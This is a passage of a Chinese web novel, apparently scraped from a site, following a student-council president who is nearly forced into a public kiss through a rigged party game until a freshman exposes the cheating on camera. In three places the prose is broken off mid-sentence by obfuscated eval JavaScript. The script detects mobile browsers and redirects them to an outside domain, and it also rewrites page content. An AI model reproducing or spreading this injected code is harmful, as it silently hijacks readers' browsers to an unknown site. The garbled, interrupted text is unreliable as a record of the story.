祁禁的眸光落在苏拢烟的镜链上,金属的碎光荧荧熠熠,很是招摇,他哂笑着:“学长是Beta,照道理应该对信息素没什么感觉,怎么判断浓度?” “一。”苏拢烟声音清冷。 “何况我也不知道怎么收敛腺体啊。”眉毛自少年英挺的眉弓蹙起,“因为我的腺体长在……” “二。”苏拢烟没有停止。 “……一个神秘的部位。”话音方落,一股凛冽的苦艾酒混合火药味的Enigma信息素在空气中迅速蔓延开来,将苏拢烟整个包裹住,浓烈得似要把宿舍里每一缕阳光都撕裂碾碎。 苏拢烟的鼻腔很脆弱,架不住这肆虐的侵占,他几乎耗尽了所有气力,张开唇瓣,粉嫩的舌尖缓缓抵上上颚:“十。” “学长,你耍赖。”少年站起身,椅子被抵至一旁,他抱起双臂,拇指指尖摩挲着下唇,眸色阴鸷。 “停、停下。”苏拢烟的唇珠红得几乎渗出血来,双眼迷离,贝齿咬着唇角,可是没撑多久,唇瓣就像花瓣一样绽放开来,身子也彻底软了,但手里还紧紧攥着钢笔,他艰难地抬起手,对准大腿的位置,打算用笔尖将自己扎清醒。 就在此时,Enigma的气味消散了。 苏拢烟趴倒在桌上,伸出一点点舌尖,急促喘息。 祁禁俯身,指尖攀上苏拢烟的眼眶,浓密纤长的睫毛被撑开,露出底下涣散的瞳仁:“学长,你还好吗?” 不好。 祁禁又凑近了一点,打量起苏拢烟的舌尖,好乖好粉嫩:“颜色看起来很健康。应该没事了。” 过了好一会儿苏拢烟才缓过神来,他起身从裤兜里摸出一盒烟,抽出一根,一边点烟一边走向阳台。祁禁见他不搭理自己,便拉回椅子,坐下,而后掏出一根棒棒糖,剥开糖纸,叼在嘴边。 两个人就这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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烟灰簌簌落在地面上。苏拢烟偏过头,看向祁禁,镜链随着他的动作轻轻摇曳,“这盒香薰……本来是打算给你做气味映射训练用的”,他忽然自嘲般地轻笑,喉结上那颗小痣此时看起来也黯淡了几分,“想必,你是不需要用它了,毕竟……”,烟头碾灭,“你能控制好自己的信息素”。 祁禁闻言,没有任何表情变化,他走到苏拢烟面前,低头打量着他泛红的眼尾,片刻后,从裤兜里摸出一根棒棒糖,樱桃味的,荧光粉包装。他将棒棒糖递给苏拢烟。 苏拢烟别过头,没有要拿的意思,“我不吃甜食”,声音有些喑哑,后腰抵上栏杆。 祁禁不作声,将棒棒糖塞回裤兜,背过身,抬起手臂招了招手,“走了,学长。今天谢谢了”,弯腰捡起篮球,撑在腰胯上。 银灰色狼尾辫逆着光,灼灼熠熠。高硕的身影在日光的碎片中消失于宿舍门后。 5. 第5章 夜色笼罩着海面,海水粼粼,使得整片海滩像是嵌着柠檬片的蓝色夏威夷。 一阵阵潮汐怕打着暗礁,与沙滩上的嬉闹声、篝火燃烧的噼啪声融为一体。 迎新会的举办场地选在了这里,距离学校不远,空旷,温馨,没有城市的浮躁与喧嚣。 学生会的高年级学生早已支起烧烤架,铺好野餐垫,将几处篝火分散燃着,火光映照出一张张喜笑的脸庞,有的光脚奔跑着打闹,有的坐在火堆边炙烤牛排,食物的香气混合海水的咸涩弥漫在空气里。 苏拢烟独自站在人群边缘,手里端着一杯冰镇柠檬水,他低头抿了一口,银丝边眼镜的镜链随之垂落,不慎触碰到喉结边缘的肌肤,“嘶——”,他不由得轻颤了一下,那里还是很痛。 “前面那位同学,你长得好好看呐!” 随着一声惊叹,一群人围簇到一处篝火旁。 “你的脸简直是女娲炫技之作!” “身材也好棒!” “能让我戳戳你的腹肌吗?” “你叫什么名字啊?” “祁禁。”被围在人群中间的那人答话了,声音凉薄,好似见惯了这种场合。 苏拢烟本不想关注热闹的,可出于本能,又或是条件反射,他抬起眼,目光掠过不远处乌泱泱的一片,最终落在少年银灰色的侧影上,停留了片刻,又收回了目光。 但他的余光瞥见一个漂亮的高年级Omega踮起脚尖,凑近祁禁耳边说了些什么,祁禁简短地答了一句,那个Omega顿时笑得眉眼弯弯。 苏拢烟的指节紧了紧,他背过身,垂下眼睫,又抿了一口柠檬水,冰凉而酸涩。 “傻站在这里想什么呢?”公关部部长裴莺时冷不防地拽住他的袖口,“快去迎新啊!” 苏拢烟就这样被把裴莺时半拽半拉地走了过去。 “同学们好呀,这是我们学生会会长苏拢烟,是他举办的这次迎新会,大一的新同学都来认识一下吧。” 苏拢烟放低手里的柠檬水,朝人群点了点头。 祁禁没有看他,淡淡地移开了视线,仿佛他们压根不认识。 苏拢烟也没有看向祁禁,而是保持着谦和的笑靥和新生们攀谈,询问专业,喜好,要不要考虑加入学生会什么的。 “会长是Omega吗?”有一个新生眨巴着眼睫,好奇地发问。 “不是的,我是Beta。”苏拢烟唇角的笑意稍稍加重了几分。 那名新生却蹙起了眉,低低地“哦”了一声,似乎对这个回答感到有些失落。 不知是不是错觉,苏拢烟好像听到祁禁那边传来一声很轻的哂笑。 “各位同学!”一个粗砺的声音差点把音响震碎,“都看向我这边,以我为中心过来集合。” 是秦知聿,那个和祁禁似乎有过节的大一新生。他站在一块礁石上面,一手举着喇叭,一手挥舞着扑克牌:“来来来,都别傻站在那儿,一起玩‘国王游戏’。” 他身旁的Omega小跟班仰着头,满眼崇拜地看着他,待秦知聿发号施令完,他还小小地鼓了下掌:“秦老大好帅,超有号召力的!” 秦知聿为了扮酷,没有搭理他。 人群很快围拢过去。祁禁站在原处,双手插兜,狼尾辫被海风吹得有点凌乱,银灰色的发丝覆上他的眉眼,使人看不清他此时的表情。 秦知聿见他没有动作,语气不耐烦地点了他的名字:“喂,祁禁,不要不给面子啊。过来,和大家一起热闹。” 祁禁挑了一下眉弓,慢慢地踱了过去,嘴角勾起一抹不动声色的冷意。 “还有那位学生会会长”,秦知聿朝苏拢烟招了招手,“不要怕生嘛,你可是Beta界的门面担当,快来。” 苏拢烟犹豫了片晌,还是缓步走向人丛。毕竟身为会长,没有理由拒绝参加集体活动。 大家纷纷为他和祁禁腾出空位,谁也不搭理谁的两个人终究还是坐到了一块,而彼此的目光始终没有交汇。 见所有人都到齐了,秦知聿开始宣布游戏规则。其实规则很简单,就是抽到国王牌的人可以命令任意数字的持牌者完成指定任务。 “黑桃、黑桃K。”一个戴着圆框眼镜的Omega男生抽到了第一轮的国王牌,他怯生生地看向四周,声音小得如同蚊呐,“红桃3和方块8……握、握个手?” 众人哄笑着,抽中牌的分别是一个Alpha男生和另一个Omega女生,男生被推着走到女生跟前,两人对视了良久,女孩耐不住了,羞赧着脸伸出食指,男孩见状,也伸出食指,两个人的指尖稍微触碰了一下,顷刻分开。 “害不害臊?哈哈……”有男生起哄道。 “红桃K!” “梅花6公主抱黑桃8,做十个深蹲!” “操!老子是黑桃8?!”一个壮硕的Alpha男生骂骂咧咧地直起身子,“谁是梅花6?赶紧的!” 一个娇小的Beta女生缓缓举起手中的扑克牌,男生蹬了一脚沙地一把把女生捞起来,扛在肩上,迅速做了十个深蹲,做完也没有呼吸不匀,嘴里念叨着:“老子不欺负女生,尤其是Beta,这十个深蹲算你欠我的,回头请我吃饭。” 女生乖巧地点点头。 …… 游戏氛围愈渐浓烈,笑声、起哄声和鼓掌声此起彼伏。 直到第七轮。 海风卷着潮气轻轻拍打着苏拢烟的喉结,那颗小痣正隐隐发胀。 他伸手抽了张面前的扑克牌,没有急着翻开。 发牌的是与秦知聿形影不离的Omega小跟班。他把最后那张牌递给了秦知聿。秦知聿接过牌,一抹势在必得的笑意涌上了唇角,他摸了摸鼻尖,故作淡定,随即猛地将牌面翻转,是方块K,新一轮的国王。 “呦呵,捡漏捡到宝了!”秦知聿得意地晃了晃手中的扑克牌,语气嚣张,满脸皆是兴奋之色,他用蛇信子般的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575198|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光扫视了一圈围坐在篝火旁的同学,而后宣布道,“国王,就是我!” 站在他身旁那个矮小干瘦的Omega连忙鼓掌捧场:“秦老大运气就是好!” 秦知聿清了清嗓子,阴鸷的眸子蓦地锁定苏拢烟的方向,声音也拔高了几分,他命令道:“黑桃7!和红心Q!” 空气突然凝滞住了。 苏拢烟指尖微微发凉,他掀起扑克牌的一角,几乎是在一瞬间,确认了自己的牌面——红心Q。 掌心沁出一层细细的薄汗。而身边的祁禁正漫不经心地翻开手中的扑克牌,一张黑桃7赫然映入苏拢烟的眸底。 不详的预感像藤蔓一样缠绕着他。 祁禁似乎没有多么在意,他把那张黑桃7又顺手盖了回去。 苏拢烟再次看向秦知聿时,Alpha那张黑黢黢的脸上展露出毫不掩饰的恶意,一副“老子要看好戏”的表情,张扬到肆无忌惮。 苏拢烟蹙起眉头。该怎么办? “我命令!”秦知聿刻意拖长了尾音,然后一字一顿地,确保每个在场的同学都能听得清清楚楚,“黑桃7,给红心Q——我们最圣洁的王后牌——一个法式深吻!” “没错,要舌头探进去的那种,接吻时长必须超过一分钟!” 人丛像被点爆的烟花,尖叫声、口哨声、情绪激昂的讨论声……混杂交错,像潮汐拍打礁石那般来回刺激着苏拢烟的耳膜。 他的脸颊此刻在灼烧,涨得绯红而明艳。整个人嗡嗡地,坐不定也恐怕站不稳了。 被迫舌吻……长达一分钟…… 苏拢烟难以置信地看向那个罪魁祸首——秦知聿,而那人正用挑衅的眼神打量着苏拢烟身旁的祁禁,他满脸写着“我看你怎么收场”的表情,摆出一副幸灾乐祸的姿态。 这根本不是什么游戏,这摆明了是明目张胆的羞辱!秦知聿的目标显然是祁禁,而自己,无非是被殃及的池鱼。 “还没完呢!”秦知聿似乎在嫌场面不够火爆,打算再添把猛料,他语气轻佻地说道,“亲完之后啊,黑桃7得当着大家的面,仔仔细细地告诉我们,红心Q的唾液,尝起来到底是什么滋味的!” 人群的反响愈发激烈,甚至有人附和着起哄:“说!必须得说!” 荒唐!恶劣!苏拢烟下意识想要退场,他咬着下唇,唇瓣被咬得泛白,前所未有的窘迫与不堪袭上心头,连呼吸都连带着羞愤的颤抖。 此时,苏拢烟的余光瞥见了一个少女的身影,是校报记者姜容与。她扑闪着水汪汪的大眼睛,观察着摄像机里的画面。 摄像机的镜头正不偏不倚地对准了苏拢烟这边,指示灯的红光一闪一闪的。 苏拢烟心如死灰。这不仅仅是丢脸那么简单,恐怕明天就要全校皆知。 身旁的祁禁倒是保持着不以为意的状态,几缕银灰色发丝被海风吹散至眉眼处,眸底掠过一抹似有若无的涟漪。他好像在笑,还是带着玩味的那种。 6. 第6章 篝火烧得很旺,发出“噼噼啪啪”的声响,橘红色的火光映照着每个人的脸庞,尽管他们表情各异,但都带着惊喜与期待,谁不想看这场好戏? 秦知聿瞪着那双黄豆大小的眼珠子,在人群中来回逡巡,好像在享受狩猎时刻的愉悦,而猎物此时无处遁形,他又把音量提高了几个分贝,嚣张地问道:“谁是黑桃7?谁又是我们高贵圣洁的红心Q?” “你俩都亮牌吧!” 人丛里的议论声逐渐停歇,四周变得静谧,唯独火星子偶尔发出清脆的爆裂声。 苏拢烟的指尖攥着那张红心Q,扑克牌的边缘被按压出折痕。他不敢去看任何人,尤其是身旁的祁禁,和那个对准自己的、闪着红光的摄像机镜头。 时间仿佛被拉得很长,又很紧迫,每一秒,都像如履薄冰。 就在苏拢烟快要窒息的那一刻,一个听起来像温酒般语速不疾不徐、带着几分慵懒的声音打破了僵局。 “黑桃7,在这里。”祁禁举起一只手,另一只手摊开掌心,那张黑桃7正静静地躺在他宽大的手掌中。牌面上方的黑色桃心在火光的照耀下显得格外清晰,甚至看起来有点诡谲。 祁禁的脸上没有什么表情,平静,坦荡,蝶翼般的睫羽之下,一双松烟墨染的眸子蕴着似有若无的戏谑,好像他才是那个看闹剧的人,那即将要面临的遭难仿佛是无关他痛痒的消遣。 所有人的目光瞬间聚焦在祁禁身上。人丛再次骚动。 “黑桃7是祁禁!那个红心Q得偷着乐了。” “法式深吻呐,真心羡慕红心Q!” “谁是红心Q啊?怎么还不站出来?真是不识好歹。” “红心Q给个面子,站出来吧!” “红心Q是苏拢烟?!我们的学生会会长?!”一个声音洪亮的Alpha男生注意到了苏拢烟按在扑克牌背面那只颤抖的手,做出了大胆的猜测。 话音刚落,秦知聿已经地走到苏拢烟跟前,神色严肃:“会长,把你的牌面给大家展示一下。” 苏拢烟本能的瑟缩了一下。 “天呐!看来真的是他。” “卧槽,好刺激!祁禁和会长,这是什么神仙组合!” “好想看他们亲亲喔。” “这……会长好像有男朋友吧?” “那不就更刺激了?” …… 大一新生们唯恐天下不乱地起哄着,尖叫、口哨、兴奋的议论声,像迎头打来的海浪吞没着苏拢烟,比刚才那波愈加汹涌澎湃。 人群中几个学生会的干事面露难色,用同情而担忧的眼神望向苏拢烟,毕竟他们都知道会长是有男朋友的,而且是个温柔可靠的Alpha,秦知聿这番骚操作,摆明了是要苏拢烟和祁禁一起下不来台,说不准还能给苏拢烟扣上水性杨花的名号,同时给闻野戴上说不清道不明的“绿帽”。 一石三鸟。 这大一新生秦知聿什么来头? 苏拢烟的脸颊彻底失去了血色,白得过分纯粹,又被火光映照出病态的潮红。 他突然站起身,羞愤道,“不行!”,声音微微发颤,而语气异常坚定,“这个任务太无耻了!我拒绝!” 羸弱的脊背此刻挺得很是板正,指尖扶了扶眼镜镜框,对上秦知聿挑衅的目光,一字一顿道:“秦知聿,这已经不是游戏的程度了,而是刻意的羞辱!我决不会配合你做这种低级趣味的恶作剧!” 说完这句话,苏拢烟看向了身侧的祁禁,眸光中流溢着希冀的水光。他是抱着希望的,哪怕是最后一点点希望。 祁禁,你也站起来拒绝这场闹剧,可以吗? 他不需要祁禁为他出头,只要祁禁能表态和自己站在同一立场,明确地拒绝秦知聿这个荒唐的要求,这件事就算翻篇了。秦知聿再无法无天,也不能真的强迫他们两个在大庭广众之下舌吻。 然而,祁禁只是坐在那里,一言不发。 海风勾起他银灰色的发丝,他把眼睛眯得狭长,使得眼眶的弧度很是俊逸,让人捉摸不透他此时的真实情绪。 他没有点头,也没有摇头,只是唇角那抹玩味的浅笑未减少半分。 他偏过头,对上苏拢烟迫切而略带失落的目光,还是缄默着,仿佛在欣赏苏拢烟的孤立无援。 坏人!都坏透了! 空气再次凝滞。 苏拢烟的心如同被撞碎的礁石,一点一点地,坠入寒冷的深海。 “会长大人,脸皮也未免太薄了吧?”陡然间,一个尖利的声音像针一样刺破了僵持中的死寂。 是秦知聿的Omega小跟班,他用腻得发齁的语气、带着谄媚的冷笑,面朝苏拢烟,道:“游戏而已啦,苏大会长,别这么较真嘛,大家不就是图个乐子啦。” 这番话像电钻般,瞬间激起无数新的火花。 原本被苏拢烟的坚定镇住的大一新生们在片晌的安静后,又开始群情激昂。 “对啊、对啊,亲一个!亲一个!” “玩游戏嘛,会长不会玩不起吧?” “祁禁上啊!别怂!” “法式深吻!法式深吻!” 起哄的声音像狂风暴雨般袭来,比之前更肆无忌惮。那些面孔在雀跃的火光衬照下,显得亢奋而扭曲。他们根本不明白也不在乎,这所谓的“游戏”背后,藏着多深的恶意。 苏拢烟感觉自己的身体被拽入泥沼之中,越挣扎着想要脱身便陷得越深。 他咬着唇瓣,唇珠沁出腥甜,或许只有疼痛才能让他勉强保持住站立的姿势,不至于在众目睽睽之下崩溃掉。 “够了!”一个清亮的女声穿透了喧闹。 是公关部部长裴莺时。她快步走到苏拢烟身旁,不着痕迹地挡在了他和秦知聿中间。 “你叫秦知聿是吧?”裴莺时瞪着面前这个体格庞大面色黝黑的Alpha,眼神里都写着边界感,她用公事公办的口吻说道:“你应该知道苏拢烟会长有男朋友,还要提这种要求?不论是不是游戏,都太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575199|171539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分了!也违背了对学长基本的尊重。请你立刻停止开这种无聊的玩笑。” 裴莺时说的话清晰地传入在场的每个人耳中,同时点醒了那些只顾着起哄的新生。 喧嚣稍稍降了点温,一些人露出犹豫和顾忌的神色。 苏拢烟绷在弦上的神经因为裴莺时的及时救场而稍微松弛了一些,一股暖流涌上心田,他感激地朝裴莺时点了点头。 秦知聿闻言,抽动嘴角嗤笑了几声,目光如蝎,钳制住苏拢烟的咽喉。 “男朋友?”秦知聿懒洋洋地拖长音调,“你是那谁?我记得”,说着耸了耸肩,“叫……裴、裴莺时”,又“啪”地拍了下手掌,“裴学姐,你也太古板了,玩游戏而已,亲个嘴儿又不会少块肉,再说……” 他的视线落在苏拢烟洇血的唇珠上,“我们苏会长这么漂亮,这小脸比Omega都要白嫩”,而后故意拔高音量,语气粘湿而狎昵,“嘴唇看着就软,啧,舌头的话……肯定更软,还很滑,汁水很丰足吧?” 这人简直是只嗡嗡的苍蝇,哪里都脏,连心和肝都是污秽的。 苏拢烟只觉得自己的胃在疯狂抽搐,难以抑制地,想要呕吐。 这话听着就像一头脏水,劈头盖脸地泼向苏拢烟,真的太恶心了! 那混蛋转头看向一直沉默着的祁禁,笑着对他说:“祁禁,听见没?这可是极品!愣着干什么?机会难得啊!快!上啊!让大家开开眼,看看Enigma学弟是怎么疼爱我们这位漂亮的Beta会长的。” 他的话音刚落下,所有人都目光再次聚焦在苏拢烟站着的方向。 火光愈发雀跃,映照着祁禁依旧没有表情的脸,只是那双墨色的眼睛,逆着秦知聿投射下来的阴影,晦暗不明。 他缓慢地眨了眨眼。 苏拢烟的心却已沉入谷底,他没有再去看祁禁,只是低着头,盯着地上的沙石,失神地数着数。 太窒息了! 秦知聿那些不堪入耳的话,如同粘腻的虫豸般……太窒息了。 就在这时,祁禁,终于有了行动。 他没有如秦知聿怂恿的那般“上”,也没有看向苏拢烟。 那双在光焰下显得格外清冷的深眸,不再半眯着,他抬起头,对上秦知聿那双炯炯有神的黄豆眼,抬手解开狼尾辫,又重新高高扎起,黑色皮筋“啪”地一声回弹到他的指腹上。 他低低地说了一句话,似自言自语:“祝卿,狩猎愉快!” 然后从裤兜里掏出一根棒棒糖,剥开海水纹的糖纸,糖果被他叼上嘴角。 “酸。” 海浪渐渐平息,露出礁石刀削般的棱角。背阴处的青苔上,层层叠叠爬满了外壳坚硬的藤壶与牡蛎,像在给礁石披上一层银灰色的铠甲。 “秦知聿。”祁禁的声音仍然不高,却极具穿透力,所有人都竖起了耳朵,想要听听这位事件的“主角”要说些什么。 他淡淡地说道:“玩个国王游戏而已,用的着出老千吗?” 7. 第7章 出老千?! 苏拢烟蓦地抬起头,睫羽像一拢玫瑰花绽放开来,琥珀色的眼眸溢出淡淡的暖光。但还是感到不可置信,有那么一瞬,他误以为是自己因过度抑愤而产生了幻听。 祁禁,说的是真的? 四周静谧得可怕。 那些方才起哄的、揣着看热闹心态的,还有帮腔的Omega小跟班,所有人的表情都凝固住了。 画面静止,像极了一帧被定格的惊悚片。 秦知聿那张一直狞笑着的大黑脸也僵住了,笑容消失,转而挂上东窗事发后的惊诧怒色。 他走到祁禁跟前,指着他的鼻子,拔高音量叫嚣道,还不慎破音了:“祁禁!你他妈放什么狗屁!输不起就直说,少在这血口喷人!” 他的反应太过强烈,反倒让人觉得有种色厉内荏的心虚感。 祁禁把手搁在身后,一步一步地,走近秦知聿,而后,俯下头,居高临下地睥睨着他。 “我就喜欢‘血口喷人’,更喜欢欺负你这种……脆皮Alpha”,祁禁的唇角微微勾起,笑意深浓,白玉般的鼻尖抵在秦知聿眼珠子前,像一把锋利的刀刃,“那张黑桃7,还有……”,祁禁的目光轻轻扫过苏拢烟,停顿了片刻,继续道,“苏会长手里的红心Q,其实你早已知晓牌面,我说错了吗?” 秦知聿被近在咫尺的压迫感碾得一时慌神,竟本能地点了点头,然后又紧忙端起来。 苏拢烟蹙起眉,唇珠上的血珠已经凝结成朱砂的形状,他推了下眼镜,镜链摇曳。难怪,当时他就觉得哪里不对劲,但内心的混乱和羞耻感淹没了所有的思绪,现在祁禁点破,许多细节被回想起来,瞬间放大。 秦知聿面色难堪,眼神闪烁不定,硬是梗着脖子吼道:“我对天发誓!我不是事先知晓的!牌是俞思林当着大家的面洗的,你他妈少在这诬陷好人,挑拨离间!” 祁禁挑了挑眉弓,半晌,露出一个惊诧的表情,“哦?”,而后嗤笑了一声,“可是我刚才好像看到,俞思林趁大家不注意的时候,从袖子里……嗯。” 他没把话说完,而意味深长的停顿和意味不明的笑靥,已足够令人浮想联翩。 人丛再也抑制不住的沸腾起来。 “什么鬼!秦知聿作弊了?” “怪不得偏偏是那两张牌……” “我就说怎么这么巧,恰好是祁禁和会长。” “操啊,如果是真的那太操蛋了,秦知聿你未免恶心过头了吧?故意整人来了?” 风向悄然转变。 裴莺时的眼底闪过一道了然的眸光,看向秦知聿的眼神由愤懑转为鄙夷,厌恶。 苏拢烟愣怔了片晌,看着祁禁这般泰然自若的样子,有点想点根烟,他的指节微微蜷起,又松弛下来。 “你他妈拿出证据来啊!”秦知聿听见质疑的声音,额角的青筋一根根暴起,“拿不出证据,老子今天跟你没完!” 他笃定地认为祁禁只是猜测,又或是想转移焦点,绝不可能有实质性的证据。毕竟,洗牌发牌经过了这么多人的手,谁说得清楚? 祁禁冷嗤了一声。 他没有理会暴跳如雷的秦知聿,而是迈开长腿,步履不疾不徐。人群自觉地给他腾出一条道。他走向了一个娇俏身影的主人。 是校报记者姜容与。 少女正举着摄像机,面带严谨认真的神情记录着迎新会的“精彩瞬间”。 姜容与不曾想自己会莫名的成为全场焦点,望着步步逼近的祁禁,大眼睛瞪得圆圆的,紧张坏了。 苏拢烟似乎看出了祁禁想干什么,真的好想在此时点根烟。事后烟。 祁禁走到姜容与面前,姜容与仰着头,他俯下身,双手插兜,唇角礼貌地勾了一下:“容容学姐,我们又见面了。” 姜容与愣愣地颔首:“是啊,你、你要找我麻烦吗?” “容容学姐,可以把你的摄像机借我用一下吗?”说着,祁禁又抿了下唇,露出一个礼节性的淡笑。 姜容与张了张嘴,想说点什么,但一对上祁禁的深眸,就什么也没说出口。 她低头看着怀里的摄像机,拢了拢手臂,抱得更紧了些。来回思忖了一番,又将摄像机朝祁禁递了过去。 祁禁倒是动作自然,好像那台摄像机是他的一样,伸出一只手,一把接住。 而后转过身,再次面向面色已然铁青的秦知聿。所有人都的目光都聚焦在这两人身上,纷纷屏住鼻息,有的还倒吸一口凉气。 四下鸦雀无声。 祁禁举起手中的摄像机,镜头对准秦知聿,唇角噙着一抹意味深长的笑靥。 “想要证据?”祁禁的声音冷了下来,像淬了冰,生生扎进秦知聿的心脏,“要知道,容容学姐为了记录迎新会的‘盛况’,刚才一直都在拍摄。” “这里面,应该把抽牌的全过程,都拍得一清二楚了吧。”他刻意把“一清二楚”四个字咬得很清晰,说着,一面晃了晃手里的机器。 而这台摄像机在秦知聿和他的小跟班看来,就像是一台杀伤力极强的武器。 祁禁的眸光掠过秦知聿煞白的脸,又缓慢地落到苏拢烟身上。苏拢烟朝他眨了眨眼睫,眼角微垂,似乎在笑。 “大家一起看回放,不就知道到底是谁在说谎,谁在作祟了?” 随着祁禁的话音落下,秦知聿的脸色又变得铁青,眼神恶狠狠地,像是要剜了祁禁,为了颜面,他依旧梗着脖子,摆出一副“身正不怕影子斜”的架势,只是指尖抖得厉害。 祁禁没有急着按下播放键,而是调整了一下摄像机展示的角度,以确保更多的人能看到屏幕。 而后,白皙圆润的指尖在播放键上轻轻一点,屏幕亮起,嘈杂的现场瞬间安静下来,落针可闻,唯有篝火燃烧激起的噼啪声,和不远处隐约传来的海浪声。 由于是手持拍摄,画面有些晃动,镜头扫过每一张脸,最终定格在牌局中央。 屏幕里,一直跟在秦知聿身 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“OMG!”人丛中响起一片哗然。 “我靠!真的藏牌了!” “那是……方块K?国王牌!” “怪不得秦知聿是国王,他妈的早就串通好了!” 苏拢烟避开了人群,走到一处僻静的海边,点燃一根烟,薄荷爆珠被牙尖咬碎在滤嘴里,清清凉凉的。 秦知聿的脸又“唰”的一下变得惨白,没有一丝血色。他张了张嘴,似乎还想狡辩,但喉咙不配合的被什么堵住一般,一个字也蹦不出来。 铁证如山,容不得他“申冤”。 那个配合作弊的Omega俞思林更是吓得浑身哆嗦,脸色灰败,一副到处找地缝的样子,被周围投来的鄙夷与愤懑的目光以及谩骂声淹没。 祁禁没有理会他们的失态,手指再次在摄像机屏幕上滑动,快进到发牌的环节。 “别急,”他缓缓开口,像个耐心的赛事讲解员,“精彩的在后面。” 画面再次播放。俞思林开始给大家发牌,手里的动作依旧很快,祁禁把播放速度调慢了一些。 于是,所有人都清楚的看到—— 当他发牌给祁禁的那刻,指尖有意无意地在牌角停顿了一下,一个极其细微的翻拍动作,让他瞥到了牌面,黑桃7。 而当他发牌给苏拢烟的时候,同样的小动作再次上演了一遍。 这两个短暂的瞬间,在慢放和特写下,显得发牌人的心思过于刻意和明显。 “!!!” 如果说之前藏国王牌是“普通”作弊,那么此刻,所有人看到的俞思林窥牌记牌的小动作,则是一种更深的、挟着满满恶意的故意“坑害”。 这意味着,秦知聿不仅靠作弊当上了“国王”,还提前知道了谁是黑桃7、谁是红心Q。他之后点出这两张牌,根本不是随机,而是蓄意为之。 他就是冲着羞辱祁禁和苏拢烟来的。 8. 第8章 “我操!这他妈也太恶心了吧!”不知谁第一个骂出了声,像一块石头投进海面,激起千层浪。 “秦知聿,你个孬种!玩不起就耍这种下三滥的手段!” “怪不得偏偏是这两张牌。他就是故意的,想让苏会长难堪!” “对啊,这不就明摆着想让他们难堪吗?!” “真不是个东西!输不起就搞这种龌龊事!我都快被恶心吐了。” 声浪如海啸般爆发。 先前那些看热闹的、起哄的、一小撮中立的,此刻脸上都写满了愤懑和鄙夷,投向秦知聿的目光像是要把他凌迟处死。 被他指定舌吻的两张牌,一张是人人尊敬喜爱的学生会会长,另一张是高中时期就令人闻风丧胆的校霸Enigma。无论哪一个,都不是能随意拿来开这种恶俗玩笑的对象。 更何况,其中还杵着一把暗枪打向苏拢烟的Alpha男友,闻野。秦知聿这种做法不仅仅是作弊那么简单,而是处心积虑的羞辱、人身攻击和挑拨离间。 苏拢烟摁灭烟头,唇角勾起一个浅浅的笑涡,他望着因怒火而沸腾的人群,整了整衣角,像个散闲步的旅者,慢慢踱着,而后坐回自己原先的位置。 水色的眸光再次转向秦知聿,刚才那个不可一世、得意到呲牙咧嘴的黑皮Alpha,早已面若死灰,两片泛白的嘴唇哆嗦着,在一阵接着一阵的声讨声中,宛若一条瘫在海岸上濒死的鱼,翻着鱼肚白,连挣扎的力气都失去了。 祁禁手里揣着摄像机,安静地站着,像极了对秦知聿做完审判的死神。火光在他的面颊上覆了一层薄薄的猩红,衬得那双深潭似的眸子或明或黯。他打量着眼前发生的这一幕,指节蹭了蹭鼻尖,似乎在掩饰笑意。 苏拢烟知道,祁禁救了自己。用一种他完全没料想到的方式。 他犹豫了片晌,准备起身去道个谢,不曾想被一只突然伸出的粗壮手臂横截住,身旁那个声音洪亮的Alpha指着秦知聿大吼道:“秦知聿!你他妈还有脸待在这里?滚出去啊!” “对!滚呐!别脏了我们的地方。” “作弊的垃圾!滚!” 扑面而来的声浪几乎要掀起这片海滩。秦知聿在怒骂声中艰难地蹲下硕实的身子,抱头痛哭起来,哭了一小会儿,起身猛地推开身边指着他鼻子怒骂他的人,用怨毒的眼神瞪着祁禁,又恶狠狠瞟了一眼苏拢烟,嘴里不干不净,被人用沙石蓦地击中脑门,瞬间起了个又红又肿的大包,他狼狈地捂着额头,在一片“滚”的声音里,不堪地落荒而逃。 那个作弊的Omega小跟班俞思林也连滚带爬地跟着跑了。 闹剧结束。 篝火依旧在噼啪燃烧着,有人往里面添了点柴,海风迎面拂来,裹挟着咸湿而清爽的气息。 四下剑拔弩张的氛围逐渐被残余的愠怒和荒唐感所取代,变得过分的平静起来。 众人的目光,不由自主地,再次聚焦到祁禁和苏拢烟身上。 尤其是祁禁。 这个戳穿阴谋,将秦知聿这个混蛋锤爆的大一新生Enigma。他正在自顾自地掀起银灰色的刘海,露出宽阔光洁的额头,然后轻轻地吁了口气,唇瓣微微扬着,乖巧得像条懵懂的小鲨鱼。 苏拢烟抬眸望向秦知聿和他的小跟班消失的方向,似乎还有点点惊魂未定。回想起刚才那个场面,如同一场拙劣的马戏,而他,差点就成了被绑在转盘上,任由蒙眼小丑投掷飞刀的活靶子。 篝火里飞散出零星的火星,秦知聿和那个小跟班在不远处的阴影里停下了脚步。 